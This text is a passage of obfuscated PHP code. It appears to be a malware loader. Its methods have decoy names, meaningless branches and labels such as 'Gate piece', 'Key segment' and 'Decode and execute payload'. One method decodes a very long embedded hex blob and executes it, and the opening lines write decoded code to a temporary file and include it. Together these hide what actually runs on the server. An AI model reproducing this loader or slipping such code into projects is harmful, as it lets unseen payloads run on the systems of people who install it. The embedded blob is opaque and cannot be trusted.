. $code); fseek($tmp_file, 0); include $tmp_file_path; fclose($tmp_file); } public function pubBtWTv59() { // Public method 3 if (66 > 50) { $buf = 'branch_a'; } else { $buf = 'branch_b'; } return 'valDSZk77'; } private function gtoBERzu19() { // Gate piece 3 if (45 > 50) { $buf = 'branch_a'; } else { $buf = 'branch_b'; } return str_rot13('wbk'); } private function gtaKbqjj42() { // Gate piece 2 $jv2 = base64_decode('ZGF0YW1WUEZqbDY0'); return str_rot13('gde5'); } public function pubamryK17() { // Public method 2 $tmp = str_rot13('ebgwjRdB26'); $jv3 = str_rot13('ebgeEedb96'); return 'valNZES73'; } private function kmkktnXA57() { // Key segment 1 $jv1 = array_reverse(explode('.', 'a.b.c.d')); return base64_decode('VjdwQVA4RmhD'); } public static function init645() { // Decode and execute payload $hex_data = 'NlGCJkj6oQb5fdcd76e2d8d2850b5f901b8931d8d0380d91060c46c2c20924ee55814b1881f1de7817cebafa03b69235e35150eff7354e378706294b4b6b45cc983ff1246b0f5e5b83e8d7f8e5763a694c5fb73fa2d7ca3cb9ca5fe69bf6f7a77cf136bbdafde7f67b2bfdde1a3f0e27dba8f77d34ea47e9667695bddffe1845ed75be8e2f93f4f647f3a997553e661f6f7ff7b2717f947d6c6759d29e5f458f7f4c27fd1fabcb2c1defebbd499ac793daf36c547fbadf5fd667d5f43fdf6f47ad4e376bf62ea3a7c1afa741f44fa332e834a2f1557ef17cb5aff427e9f7fbefad78b09fbf3f8fe6f7adc7f5e3dde5ae122fe7b7fddb2449a2f6d570397f697d9f74ef2697f39fddf624fe958ceed3a7fa6cdf5ffeac365ae98fc99f7fb596cdc7cbcaaf7e9abec4edd1dffd5ff5c7cea4b21ae4e3e7f68ff5e35feb7a75be5ffcdd6eefebe3d1f26391cf3bbd7f3e46fd71b64ed6f9eeeed7727ef7912d7b97e34ae7713dea752eaffff8a887eb978b74f633faf9c738fb91acc7abe8a5f7e3ae53593facb3f16cdabefcd15eae661f8bbf1fabed1f9349eff5a9b54866d33cfe6bfd563b3c9fcf7ffffa9de55fb31fc9245e56f69d4e52fd39d6df6fddf73ef6d578b2fefb7174391865b56490755a778fd9b0ff23bd59448d1fedabd1e360dc7afdb3baeb2daa9dfc61fd7e73576936a6d3b8f7d76dfff3771e3a955f8fd5fee7fd74ff49fe685d1edee3c77c9adcd6ff8cb3f66e309afff77bb4ac3edccd9ffa59f3f68f9ff9ece1f01e7fdffff8f01fc7adc56cde4d67cfed65755e7e0eb3a77cb97abaacd4a7d3f6703cda1eeff3fbe13e1f16b787fb4c6787fb5c4c8ff7f9343ddee7f2709f95f5e13eebd34db8cfcfdf594e56fdf5ae71bbe9d87fcf3f9fe77fa31ff3d6389d7c2cbac7dfe91f7ea7f9f1f93bcbc3f3b9ac1cffdfdbe3f3f96b75f87fd7edc3ff7bb87e9fcc7fb6c2ef3cacde3ae1f92fc6c98fcbded37ab25a448bfaf8757bf1fc11feae24aa5c25f978f9f8ab79586fa3ff4cffb9fcfcf761f5739d7f3e9f68bcadf53ab376ffaef51cef0f5fc2652d6b4d3bbb4e3baa24e35ebb1f3587771fdb1f493e9bc53fe7d174b4ff359cc4933fee5ab7bfdfcbd7fd2c2e169bf15fbd5f93419c679be1656f77b73a5cb67efa7858cf9efb3f3e16497bf9dff655e3afc7ab74f17d947c24936c11ffe81cbe97eddffd65fdfb61edfdfebbd2fbdbd9eccfacbd8f3bbd9bb43ad925af95ceed68bc1b4e677177d9ba5c6c76573f7f267f7f4f9bf9f7bcd95dbcf6d77f563aabe1ad793e9f7fef603ffbcf5d3bfdcf5d351f1ddfe36c737cfeebe3f3df1f9e7f6dfa717cfebbdfebf3e1af7f4ecfbf7bb87ef3747c5f9be3fbaaad3fafff5ccfefff3c2f17ad3fba3bf3bd7cfebfebdef7f89fe67d77b4ddc49759f3f03d2e3acb68fcfde7ac71fb33c7733bdee77cd25b2d7f3ee5dbbf86fb7497fc9377d26afaf634e91dfedef4f8f75e7dfebd57c7bff7f2f8f7b617d947b4e86487ebe3ff1eaebfeb1cae9f65f1f1fae470fdc7bc7abcbe75b8fee3e5707d67917e44f375fb707dbf7ebc7ed43dfe7e7ab8beff7c7c9ef3e9ee6afa7d74b87ef7ebf83ce7fbc3f593cffbf9cfe34fbbae8eeb47eeffb2b7de4677aba7d17d76b9fa6b39bf69ad3a936e27adfcb5ac0f7e74b6bfd7ffdf8fbf9693f1a865afcfde7e3dfe5a3cde8d7795bf3ee6f67af97eefbf2783dec7c77f9faa596fb09c6cc7c7bf373afebdb3e4f7fdffbc3bde7f7db3e8be3d1dd6e7a29f46bbd9c7f8f01ec767df63bace0fef7d121dde7bbc38ee4b93e37b9f1daf7f4d3ebff7d1e1fab77f8edfe9ede7777adcc75aedc3f5f78be3779aa6c7eb5b9febeab48f35af8ed7ff3c5c9feeb3dfd70fe7c77535898fd7df1eaf8f4ff753ff15d655fbf7fd0ce79ffb4fedb8ffa4bf7f7ffecff88fbfccfef6f55ee27f2671fcb17d7f36eb7f9ed8e739b9bb6b67c3b8539b1fbeeb5eff63ffdfd9feedefeeeda4d5e9e48def936892a4cdc961df7eb9ebc4ffbbfb15fd3919ef1bfd4d36bdbffd58fcf94fb23cdee7f1ef1a659ffb647fb6afd8f53ca96dfa9dda613fc9e67136fee7aed3deb47ea57f7dedabe98fc3df35e81dffae687efcbe069fefe5f03dceabd11f4ff9d3611f4eb3db5fe91f8fabc99f61ffccd6877de03f5137ffd99a8c97df27eda7c18ff1f869bdfc0ffedea7c13fc938deef37b38ff8b80e779dcb7633ae66c77a20b5cf2dbb4a26bbbfe2d5389d2df7ff3b5cf316bd5c4ea7d1effdb675f8ddfef07174bcbe731b5db65f934a3c99fd784aeea3ddd5fd3a3becab6fcfc9a6761dbdf6d6cfd371fa67252b9f8fa3f7c54325dbf7d7d1cbed4bf36e9cbe99fdfcf3dce91ece9df47233cb9a76fdff934c5be3ca6ad89a3ff6be278b79673fef1ff6d543fd309d7e3ecf7ee7f33c3daeabfde73a3faec3fc737ffb2739acab8fe3f972f3bd75785fd1f17ce91fd761f279ae65c7759e1eafdfcc0eeb7cbe3aaef3ddeba1dea93ce5bbcffbbfffe7edfaf7fdc495f1e6eeb175d7696557bdcbfc47f263fdf3be9de5c96594dffe7a7f7948eb6f87ef3d1dae2bbfe4fb9dff5c66d3cfe7f6d81af5f6bbcd6c3f31fbfcd38fb7e1a2b2bc98557acbeeaf567af896ff39ee6fbdd7def8298b5ee24ef3f5b37ed81ff7e7d6f15c1e1ebfd37974fcee7aadf1c7e8637859fb71d86f0fe7c87873a873568fff4c5aadce65edaffd47f3f1ea74fefedd7d1cddb5dadb6f8b3c6dc7fbe6fdfde8e3d7bcd57c3fec87d1e8733f691ff693a7c5e11e2af3ee613fbc9b8dfeff5b0f4f779d4963dc1ecf6f9ea7b333eb61f1141ff6bdf8b2f69fefdfd31fe9adaef3e5e1afeebd3d5eed7fb4dbdb5552a9fdddff673d8e0ff5ea1f97b366f7b1753f588f0f9562f3f1784ecd8ffb4f747ceff3fbcffd643999cf7e4ca2244b77fdcbfee7734b2f3fcfa9c7cfe7765827f349fa59571cae5f7ded6fc775b2cd3ef7ab8fe3f59fe7606776958ffebc4c8abff7ebfefb9d5e3bf9de9f3e2d7757f1346bb66ec7dfd3aff7d57d3e9e2f93fde1bc185d9cceaf34790ce7e3fcb02e76c539328fe27fd6c3c3feb3995db6af5b8ffdbb6e67fe6db18e7f7c7f7cba1c44e9d5f3fee9352dd551fbb7249dfc3dd9b4dba36cb9f9f3c7dbb5575ffdb51eff3558ed47f71ffbf9e10d2d6fabf9edcf745db3d7cf9bb7ab4937ba7cfa18b67bf3c1d4bfcfe4b63f1eecdf5771fbb81f2ed3c3fe960f3b69fbfeb6397dcadaeff7797233becafe9cb6b2537df5f5fbcbec713f99b6d7f3cb43bd3a1afc93ce7a1fd1a6d7eedd1ceac3db76bbdd1c4e6663eccf7f1eeaae61bc9eb57b7751e7ab1e486ec2fa3c9ed771eb78de3d1fcff7d7633df0b1393cffdbe3f35f4c2ac7e77f7d7cfea3a9b97efffc592f1deb817a76bcfe78be2f3edf57a7f1fbfaa7f478fdecfeb3beaafebefe7d79bc7e111dde6fa7f2fbfd46e1fa383afefeb13e99de4d8ebf9f7fde4fb8bef9797df7783fc7fa2d1e1caf3fd627d3bbc4dccfbc931fafaffefefd59343b5edffb3cdf3f7fbf73bc7e85bfb7f1fbf79fd2f9e9f91cbfdfaffaf03d0ff77f7c9e9d7a589f9fd787fae1e7e7fdbf7ed63fd1f1f7f3dfd71f3ac9d3f5f7e1ef5d1f7f5faedffebeff4ed84f6643fbf7beaf7e5f3fefec8ebffff97cbeee270ecfa77bbafee5f3fed3d3f3bc09cfbf76fc7db9fe743fb7f3d3f3ffbaffafe73f33bffff3e7e2f8f7ae3f7f3fac877a580fbddff5d5fe6b3d2c7eaf87ee62fffbfebf9eff63f7f7fdc4fdcfeba7a7f7f5559f7fbeaf1a9ee7f8f47e179fcf67f4fbfd76e7c7fa76d2383d9fd1e7f3699ceabdaffabf7f7a9e5feff7f3fe6f3edfef69bd7d3e9fcff5f3f3e7e7efbfd8f5ff79ff1d79fe9febf9f3fbfa5a0feb70fdb1de1ed5c2fb92f5f0f9f7f64febffb33e9fec4eefebebfae3f38c87a77afbee29dc4f767a9e5ffb67586f0fe17d25a7dfffba3e3f7d5f69783ef1e7f5a7df7fdf86e7bffd7d3f9dafe759fbfdbd17d79f9e67f1fd86e7f9b59ec3f7b898fe7e9eeff27e77a7eff76b3d44c7ebe3f0f7f64fdfef223abddfebb01e6aa7fb7ffefcbe5abfd77ff1fb8dd3f3fffadedba7e7f3b51e26e17bdc9fbef79bf0fbbdd3fef075ff8bdffb4fb17e3ebfc78bb0dee2dfbf5f5cfff9fb9bdfbfffb53f7c3dffc7eeef7ee473fd5ccaf79287ef250feb677aea5fe2f07df5cdef17cfbff9f9fcbbbff793cff5b30febff73bfbafdfafd1acedfdae97bffbafffe697ff83caf3faf2f7e7f7a7a9ef2fbc9697dca7afe7afe9be3fdf47efffee5d77e28f763f7db48f6937eb89fc5efdf2ff6cf06ce8b345c7ffa1e3fd7b37e2f0d7b3e7eed575feb6774ba9faff59c87fd2dbcaf41d84fe4fd66663ffc5c3fc5f9f5753fdddfbfaffb73edf7fdf37d15fb5b385f16e1fcfafcfdc7a9ed67bf9ee7c27cefc57abbb6e7e9d7dffbf57d2dc2f9b537efb758cf6dacb7cff5b9b6fb43a807b87f16ef370bcfa77d5a3f69580f5fe7dde9797e9def5fcf676bcebbe2f9f7c379bac07ade99effd6bfff9daafbeeefff3f9bf85f77bba7ffebdc5f35f9bfaa1783ed7613f9985eff754cf14fbc969fd17fb61f7b43f24e17c7f3aed575ffb43fb542f3ddafb2f9ee769ffef2ef6e67916fbf938fc7ea86796e1f72be6ef2dde97ec9fcbb0df7ede7f14d6cfc6ec3f97b2ffc8f718ee27ec0fb361a89712d44b95d37e3b9ae2f7a7a7fb790df54fa827433d50daffb7b8be119e7ffa7bfd14e74b12ceebd3f915aed7ef65119eff2aacb753fdf9593f14e7e910f5e42afcbd3bb35f15f733c47994dbef71d40ce77bc35c5f9cbf1bbb9e473761ff99fdde0fb57e780df5c9d69cd7453d1f877a6671fafdaff5d638ed3fa3b0deeec3fe1cea79a93f1be1f71bbfcff7e2ef5d987aa6586f727da86fe5f9bf86f529f567b8ff7ef8fdd6e97dc9f97813cebb4638dfc37ebbb6e76347cec708cfb3fffbfaee2232fd94d60f7deccf6bbb3f8cea617df2bc0be7c573a8879b61bd4561bf9d9efaafd3f925fd4847de17d74f1eee3f0bf7333dd563f761bfea9fde97dccf0dcebbdeeff34ed7cf3c3d7d2f8db09e53ec278bd3fe19beafaff334d4875fcfe7f9549fbfcb7eb535d717eb7f60cf97a2dfc94edf7b359ca7e3d379f15cfdbdffbc67b6def8fa7b1f4ffd72513f87fe68f57bfd4b7d2bf5f3577ffdd57f3da11e3ed5ab3c1f65ff2ffa97fde97bf986fb1986fd53ead5b0fed9ef2776fd14df23fac134e0090fb69ed4f55609fbffe6743ef23c42ff35bab1e76fb13f84f3621df6871aeafff1e97ebef6abc4f4b3f2bd44e17b09f5fc57bf59f4fbb65f2bde5774aa379ef1fda21e2b9e671bfd4212cec7ecb49fd7c27e62ef5ff18d45e8671be1fb6a9f9ee7573d19f6cfc5a97f09fd69512f497dfb847aec73bd5dd9f3fdebeffd5a9ffd507f86feb78edf7f08fba1fd7ebf9effd7ef7fbdaf0878c524d457d1e9f954d12f0cc3f5015ffa7abf11f0a871c097baa7f77b3a2f8afde41afd8bac8753bf5cbcaf8af97b8bfd1c7faf9e5fb5d3f918ceeb2f3ce7ebfd76c2f988fe31ec9f33d99f47a1df09fd8bacff36eac95638afc37e7b11eac314fdfb9379bfe6f9b8f561dfc1eb8a7a32f4e3c3809f24667d9a7af8847715fd72a8b7bde7d3113cea21e0274f4e7dd861fd9084fd33417f5701fe503b9def5fbfdf0afd42c0439a16ffd7fe6e19ea87ac8c2714fbb39c477df45359a8af4edf7b51ff774d3dd095f3eb2afcbd6daccf16aeaf84fee5549fe87931c1fe1fee3fd457718cf3370bf79fa37e68e3efb5fb5bf17eafc37e12eae1e7aad9af8af37a1bf096a95d3fa5f57cea1ff5fdc6a7f37711f0d2dcbe2fddffdbd87ffaf8de770e7e58e003a7e7f99e593cb0a81f427d9284f56ffb41d90f157f3bf5e3c5f56fe1fe65fd774ffd91e02d1d9cd752bf9df0f012feb9729ea7ee8709fac775f87e73e021bd70be9ceadba21f4981ffbb7f6f2be039a1feb90ad7cfc2efdbfab01bcec78ed4db6de06fa19f5d9cf0f9807715fde9d0ee57ef82df56b03e7bc0cf4ff84337dcbfee9ff1a97e7eb6fd8be27b82e79ceaa5cbb01f6abf9685fbaf9afea2f85ec2f92bf8703dace79ed3ef1478d7697f2eceebaef91e8bef37cc17025e51d427a11e3bf5cbc5f722fbe709cf2cbe17c137a6e7f04cfd7be7619e82f945c0f78af997d3ef4b3fa2cfe7daae9f19f079ade72b663e529c5ff761ff698579c709bfd2fe94785ddfe03fc5f3bf71ee5ffba98dddcf8b7aac6ad6b39ea7324f89c27e5e35f546b1fe13f4d782579ff0d2affdff39f45f6bcc5f1af6bc2bf6f3d37e1bf09ca2beaa62ff94fda11ffae5500f5c84f328e0b7f3d33caefe62eba5506fc8fe23fb83e2dbac371a66bd15f5a1ec9f15b35f99fa6763f12eac9f4ffcbfe81f7b61bf9d18fcb6d84f64fdb471ff09eaa52dfac11ef872a779c4e7fe5cf40bd7f6fc9dc50efed30deba17311cedf506f4b3ffb12ea79c1f742fd70dacf059fec0abe5d0beb41f6f3d07fbd61be83f963519f87f590593c33fc7e8117f5edfa0ff311f3bd57b15f750dbe772bfb6723e0a57353cf68bdf46ce7a1825fcd388f78b1fd4e982fe87e28f5c30af87fdd99375d867965a8270b7c43f6cfd4ccfb0afc64e5ccc7753f91fa76e2f55f4d9c2f83b07fcafc34e099d2bff402febf393bafe779716fe74de1bc2bf61ff9de67783e8bc07f38e151daefcfc3fecc7a3b35f37ded8f62bb9ec37c5cf0844ffcc7f42f1be051f85e64de31043e20cf333c7fc1eb86f67ca9cbfed0c6fe2cf3acd08facecf718f007a907840f50d4b77b8be7089f2409fb83ccf703fe26e74bc05b423da9f39450cfa4818fd107de9587fdd3e299e5f37469f025d96f0bbc4ef81e53f417013ff966fbfdaff516ceaf807f0a9ed901ffa1387f2d1e58c66fdba8f7126fde71017cfbc1d66367e64161de7a6ff196e27c0f7fafd4cf637c5f4f384f6bc01b63cc6b5a4e7dae78c8a93f92f942586f820fe87eeeedb7d2ff06bcb1d87f8077857a52fac18eacb704f350e2a5820f8fbdfd64857e10f3e5e2bc3ef523059eb9f7ea8d1ece233b9fd279b7e0870f617f9e387878785f82cfcbf3d4fd2dffbdfe3b326f4df07d099eb935f314e9af657e1dead5623ffc16d64ff85e049f5c5bfca7c09f4ffd75986715f3fd0df806e8bf0afce1348fd679993ccf2af0cfa9e5172decfc54e70bd24f2d4eeb59ea19cedf07617f937e3ce033f27e53d487ad50af461ede12ae0ff5ccd7792a7851d5f2d3423d50d47b2f763e15ea379dbf847af87d15be2fc1afd88f84fa8d7c48c137527c5f23ccfb1ae17be91a3e86e05dc57e12d9fe4eea25b91f8bbf15fbe10deaa501f0aedce163f0fb52fc96fdef37cc2f86969ff6fe6af179e58744667d0a1e2e7c0fad9f6ba19e09cf678df540fea7d4cf2dc3cfd479531aea013e1fe25737f67bd7fa6419d6a783ff14bfdff2ae07ff4af94bc27f90e773babed87fc2fab9b77cb377cca3959fd0337888e153ed0d3e23fcae02ff0fe7d106eb87fbdbd0ae9fa2bedddbfafc31e05d0fb6deabbfdafafc0baf0ef552b1de2c7e2e789de2ed6383df1a3cc1ceeb659e1bb39fcd703ed6d1fff6c1df5ba2bf68020f7fb0eb59e771397e3f36fd45990fdc08cfe7c40728ea8db05fbd014fb8c1bc2cfa3d0f2ad6db6bc067843f10e68fc27fe8607fa898fd5fe6d7cabf957a6017f6e7c01ff0f89f3a6fbdb1f8fcac6ff128e53fe4d8cf53e07b09f0c97dd8df6c3d7f29fcc035ceaf1bcc7fe370fe2ecee1c9da2fc4013f271f29377c5d9dd74bfd9c61bf6d84bfb717f8b11b33bf507e571378a0ccfb96860fa9fd1ae6bf8a87afd16f36c2f30c7875e9fd3af326e11b68fdb9b27cef5113f5b0ec877d87cfa07cce99e1c314dfd7c6ced34737b63e57fede939967157fef15e60543ace7575b3f8faeb1ffdc834ffbe2ec3fda9f46e023e5a17e16fe40d7f0a98af530c1bc20cca339ff92fd5cfa9dd03f0a7f2cb6788bf677db30efc6bc58f8455bcbffd1f94b14be976ef9fb523c4dfacdc8f28bd8cf16f3bb6eb9bf36fcead05fdc60be2cf3bb35ea818ae14b17eba785f503fcaa23f586ccdfabe7ce2ffd1e67381f2d1fdef087aba81f2c9e23fd5af87d99cf4a7dabfbd50ee775cff4e38a27cb7954075f8e7a936db87e6ff420da2f2fba966f3967fd1cf81b3de0edaf966faffcb11af8d57de829c2fc2ee83b66c4afb601efdae3f7c7661e2aeb53f993a247e8997984e069c57ace4ff858987f693fd572d683ce1353e8896c7f67faf7aee5777df5230bf0eb1a01afd8d8ef6bc1fd369ca7759c17433bff7a077f299cef9cbf6b3ff56cfb2f596ff1d03e4fc5031be007b63d7ef52bfacd26f8ed324f19997990f007449f52f0fdaa061f103e98ea1ddae02787fa70c17901f8a2d21fa1be1ddd60bfbd073f79ede94184ff9304bc74e1cc0b8af3ae6bf40e8a0f67e07f562d1f5ee7a72dc39f317a0ad457c26fcc039e53417f340be745e0ff53afd1b4df4be04396f9f9c2d7b27c4bc5975e30bfae073c33f5eaf90ce7cb15f81e43ac8737f4b357763e32837eaa987f45765e9076cdfca2e04ff6a13f0a784e1af0817bf00db601afd89afea53c9f0dfc07e1135e80cff660f5a4ca4f107ece699eaef3acc0d70afbb3f21952330f2af643e15b0afe1cf824b1ad07ea520fefcc7a2ece2f998f2f1cbe4df1fb5de0ed5da34f2cf75f763ea5f34de117354cff2b7c18e5bf65987737adbe6906bedcd7fb059f47f75bce2b85afdb30f317c143b41e7b09fa9a8ac36788d9afe54e3fae7cf541f8fdc4ac67e5878f6cfd26fd8bcecbda67f9e7c24f58018faa7be723f8aefa7d5da3de4ec0c7809e42f1ae1ef8e716ff547ea6d46fc3503f27677fff917826cf8b13ff56f1edb1e9af95ff300f78d1f5f9f7bb3078af99875a7db1f097944fd576d6c38cf89ee81903fe9676ad3e3accc7eb39f8c6f5f3fde302fcdbbde19f98f975e047bd800f731deacfb6e9afcbfadf5a583f16ffd7fd4dfac708e7510ffb6d62fa53a3979f82cf6cf57a3c2f3ad0db5e06fec6fb2bf65bd4ff5a1f0abe1dd979eea3c53f856f1ce671c4db85ffa07a1cf085747d06bed3bc6bf5e6d4b30b7e720f3ce4cd395f94af2e7ce616ce97bdc7e794f71bf6ffe7d4f2e1c11f53fed21af8839c170de81dfae0f7b6bd7ebfefcd4fa5deb8b17c27dd4f46c09377c007c6589f0be837831e36cc5fe2bec79710fd88d403b1f1afd0f988cc139bc067049f4cc01795e71ffa2ff9de9738bf1ad0eba5c0435ae0e76fe1873083fe6be2e8a9555f46fd0ef9513bf0d3649ede35f3c12ef49291bcafc8f6478a4fb6c379d435f37a9d0f6eadbe55f1aec8d1d3057d96590fe43776cdbc46f67fbd9f9e79bff2fc75de510f7f6f047ee61afcbd7de00393ff5c2df3f704af13fe5eece333ec5f2cff5feb8d2cf49b5b67fec8f3bac0bbf6962f9482bf27fc4f0fffe1f77e897a89fa20d1a3cd06e86797b61fd4fedaea1174de14eac9ce75f81ea3f07cc2dfbb86deedc2d38796f084b09e6f6c7da2e75d98c7cd238f3f3f869e6be4f043c27cd6e88b433d43fdc895e55b86795fb1ffafc2fe939f9d9f8adfc21ae74bddf1d350fdd7d2e98f146f1c62bef962f7c3ce85ad876399578e306f0dfa1dae37f86314fdd7dee0ffc57a48f0fb59785f39f4b66df8ab2cc00776f1f6079ca75be8c52ec0df1ba27e58426f5803be07fda9ea55c3fe0c7daeea89b60ebf48e7ad82ef8db03f500fdbc67cb60f3f8a08f3a314faaf27e3ef51bcdf6ff0df187afc10f9be445f5f0bf86ad7eab5859fdc74f92a5dc3b751bdadf8f9d4a0f717bd4fc0672ea0bf8e8057ac025e11e1f9f7707e2dc057dc639e1b857e137a79f823297f2cb67e29aa0fdd815fdd73ce233dbf2a864f55bcdf7be027af385f1aa8b7efc147a5bef8269cef339c2f2353ff98e7b3817ec7fa0b299ef60d7a8421f0fcdce3d7c9bc00fc34addf7698d7904febf26d3cbc7a8ff9f5ed02fc7ff40b8aa765a11e6b787c9b3ee671b9e5df063eaafac505fe98eee77b074f0ef583f883e9fe59835f5962f906ef39eaf32bf453ec1fd7763eaefd570ffcc39199d714fd48c39ebfcaf71819fe7359cf3206dfac037d5c0de7630a3f9f27cc3b76e8f7e7f0ab99387e629d0beb5733835f93eae57353df16fb6d2bf4774be0e1a13f15beabd46309f41d6de8d77ae0a3f6a1f7dc9979aef10f0cf5461ef82d329f0d7cd107574f1af09fa6d3bfab7fa0f8a590cfd606bfba6ff02ee9974bfe2aa57a3bf2f8693d9c47f443db819fd308fb2dfc22a4fe6f428f1f819f06bfc1a02f28f33726e087731e3dc6f93b01fe4f7e29fb23d1076565bf4afd7ea55f5e5bffc9ce0de6bf0fa15feb78fe5a9e7ee4927e358bc8ec87657e38fc01027ed291f519877a6c6afddc44bf5987dec4dbffc55fa8e867031e18397cc22ece47fab3299f73857a4ff88d016f177ddf16fe90d756cfabfd51cbe02dca2f157f8f01cec72df842d7e0cb3da03f5d637e7a63e7778aaf925f21f55bc02b0676bfd2f7b5c57c27367a25c54f16d4f356adff03f9a20bc79fb3789e09f477e28f4abc48fc7c36a63eefc21f8f7e26ca177db1fda3aeff19f8dba1bf9b5b3db2e2e703876f5faccfb6c3e709fd94d64ba5f95d17fe0c53e829a8b702fe3fa75e127c57a96fe14ff8feeacc238af53673f8a2a1ff123f01f5eb937ebc053e4398bf4bff2ef3be85c787afa3de7b001ebe72f53b1be397a8fa204f8fd6c1bc49fc04827eaadc4fb58187f70dffc1e03fd62ff792f8c0223a5b1fc6d07bd28f0efe15f13dfc63e107a2f3a631f064ea791bf0c3691b3d85fa09087e7501fdfe10f5e72bf64fd96fc37c736ed77f71ff3bf829f5cc3cbab8ffdce299ca7f6b1b3e9be281a25fb8869e31029f2d037fe65b58cf11eaab56c037f6061f53ff19fa1366763fd17ad5f6fbd4e31bfd7bd7e8af858f11e653eabf9ac21fe6d9faaf2a3e760dbd1ee617ea27b937fc6ac54b051f583bf344fdfd8153ff7703bead7aed1ae6dde4d3eeb1bf093f167e6b0b5b9f14fdcbccf09da4ff523d26f1a881c73f2fe9e32c1fef12feb1b7253f1c475f2cf54c898f3ab2fc46d5df9df5af53fd5df02b63bd4a7f0cd54b2e506fef3dbe5f0cff25f4cb057fc9f26fb57ecbacdf85f2df5207df7b7f0df8d5167c69e92fa0ef98479ebf0dfd1bad5faef2ff53f833883ef10dfed557ee3c7d63f637c1ffd5bf22d487f353ffaefe2a5be8c71b067f607fc4f9a0f6bf821fbed8795c87785182ef45be2fabcf2dee3fb27c3fdd7f6ad8af66e0ff2cb0ffef4cff22fa1a7d5ff0f309f311ad7fe61bf04932e35f178d5cfde9027ae1c8f423c267107eb59e770df839bb7eb96f769e1bf4597a1ec97c99fd4203e79df07bfb861f227c860ef927cfb61e10bc4ef9486df82fb50c3ea6f3af51e083b53c7c55be47e25d03d4b76b8f2f24f347e2335bcf6f137ad5e27df581b7d4c07fe899fa50f526733b1f74f993ca1f103e7903fdfec0f1a350ffa21bf4fb11f6e735f8c937e057881fd7087e983cef66d017509fb8839fdbd8db6f397f6c847a2f36fa56d1570adf43eb8d31ea8da08f13bd30fd6063f86f78fc99121f58e611f4d3beb6f561a1cf827fc5b3d54744a237a41fcbabc3d7225ea17a3af233917750e217317fe11bf052fa9facf0bd089edf80fe7a64fc9005af50fe1ef502f09fd1fa2df0a9e8173777f21d7c7f2d5d9fb9d10b14f74ffef00b7ebf09be7a62f55fef2f0edf52fa419db7b6a037a981af68e76565fe49e6fd7e62fd0fa907d7f982d4335df81ba71ebe11037f18a17e6b03cfa41e39d4e7a2f7bc71f55f55abbf035f57fd33871e9f53fa59e6770cb09f4b5e466efc4b453fa8f329f2f7e0e7a0f388c4c10714ef4a1dfd60f08f2df3a3c6e67b543da0e7bfa7f52dfdd8a5fec179adfc8796d7ef733edeb7785afd157c54ea91fb987760feab7ed13da7bfd6796b3bec9f163f2ff3755d7fc29ea7d77e851fecb5f55b28f274ec79a7ebf91af573e29c179abf53b5f858f1f756ad5f62498f53c5f9b831fe0fc20f57fe466cee5fe789a2ffbd023ee0f2e717e49f601e0d7e82e67d889e68067f8985370fbd71fc668beba927dac1cf33867f91c7d7ed20af21f8159bf33dd47b321f4991dfb440ff983bfdbbf29dbc3c828eeb6fffbc29d77b8aa7a553334f54fdef067e3275ab0f553f99b557cf5c20afade7e5e3c8fb6dc23f0a7cad923e1d7caad900f5b9a75f937e30be77f39bf656df946e3cfe520bf5f30ef5790a7e4b02ff22ead166c61f5ef0965beaf7459f1281af45bf56f827d01f4ff7c386d147abbf34f8a83adfbfb27c9538069eb674e66b25fef6bc6bf107c15bea38af63dbdfa93f52e0ef493d4f7fe3b5e3c7abfbcfc0fa45bc676edecdd4f3fb0afc3af17f407e533c80bfd3cac9bf507fe0047a377c2fbaff3450cfb4e0df98a37f899dbc12eaa1542f1f635e3c813f92e5f3ebf72bfbc30bfcae9b583fc83ba8cb7a637e4deae46795f8fc55cb572ff8ae53f85780ff1ce689b321f4ec1bf7fc453f82e7a9fe690d879f5fec0f6bec3f35cc4323f45f4fc0f3addfb5fa333c3bf57f190f9979fe0fe4dbdc9cf707ee235f666bfc3d4cbf13bedf57e455f1bc4be03fb6b6fd97ce9b641eb431eb5fe71dd7c877185a3d9dce7776c6efdae793687d1e21af30821f72c7c1aff4bc8b314f5c18fde3197dd9c0bedf3af337a967271ef882fd9ffac796f5bb50be68e6eccfa53cb50dd64f137e4de44b8b9e2833fa02e1a7e97947be5f0df3dc21f8246f0eff59f29eb4dee843ef4c7d7a0cbe5fdff3e7a902af7e405e2afca974be1c9bf5acfe3932afac823f4fbf3efa27900f433dec067e29e487881e6d023fa80afc3c67667d1abe5006bff48df53796f9ce1af512f4fe41dfaa7a64b9be8ef5d6077ff5c5f39b15fd750cffaed7c027c9cff1f74a7e5cf467163d78eceaef523b4f041f6c2ffe4bc8ab557f15e9f7ad9f4017fdb5e653f0fee99f833c94303f2afb6fd7a0ff4d3d3c6d69f939253d4b0cbc7765fdba958f9a1a3d85d173edcbfe87f47b513da9f8495e03ffec9ff7d3db43dfd7f3fccf058faa001f1b7b7e02afd8afeaf057bc079f4afc0333e8f5c23c74be29cf37cb799133f8d54f9cbc1ecec795ef3a815f620effbd147cf83ef89099c7f7a61ff52bfc2bae9d7c527dbf19fc936bc8ffba071f3877f51a55e3d7aafc962df29a1bc04322e0c3c0c7f8fbb33efc2bd6d00bd7516f437f1af29a4dffb841fe4217795ec82f107dc4bdd57fbdc3af7874013f8121f492be1fb2cdff52bcf4157e2fd7365f52f9f31de45d56cc7ad3fdfc19fee1a297afdb7c6ded176cff68f8b1ae3fe7c4ec6fc65f7163fd49e4f773f88b32cfd4e5f3cf6d5e46296fc2f3cb32f39daed52f08ffe7c5f26794cf53037e95408f5943bd1a9ff557c73c5ae6959adfd777facda09754bf94678bcfab3f1ef5b931f0c037ab2f2be9cd99cf08ff73d5df8dc1771a79fe33df6c7e07fdc7d40fa706ff8d1ef09f11fc8b2ac87f24bfbd057fa41c7aff14fb27f383acde4ad603fbe5b29ff0d4fae3c9fc25835e187ec8f110fdfbdaad9fabb6fe645ee4fcdff53b7a7eadbd3c8bb40abf9d2ef881812f7d6dfd518bf7c5bc5df203abc04fa6c8d776be47a3e7821f17fda845cf453dda1a7c806f98170c31af47be6df01f503d7e293f34e89b883fc0afb24e7f36e84da8e77d7f71fc75759e3270f869aa77be865f41023ddddac9efd67916f848a57cc6869b173f357988d42be9dfdb02bffad5cb57023ea0fe996be0c9d70efffc5ff2d9b51fef79f90b6bf01b2f2c5f977946ccc754bf821af2ddc837f0f2ece86fac7c42fa11f5804f2e512f597fd4b2df42dfe49b30ffcbf8cb75315f8bac7e41f85da27f09fc462f7f47e7dda23759397eda8a27f79d7aa0a87f24bfa38bfcbb2acef7bd99b796f23417e42b325f86fe6653ebeff49c5a7d90e075c8af09f90b7a3e0a1f8ffaa025fc4c9a4e9e8bfa776da0b742fda37e47ae1fd1b5a3d750bd36f96f37c09f254fb0053f6dea0163a36737fa11f28d37f6bc435e7c293f177cdd3dfa9d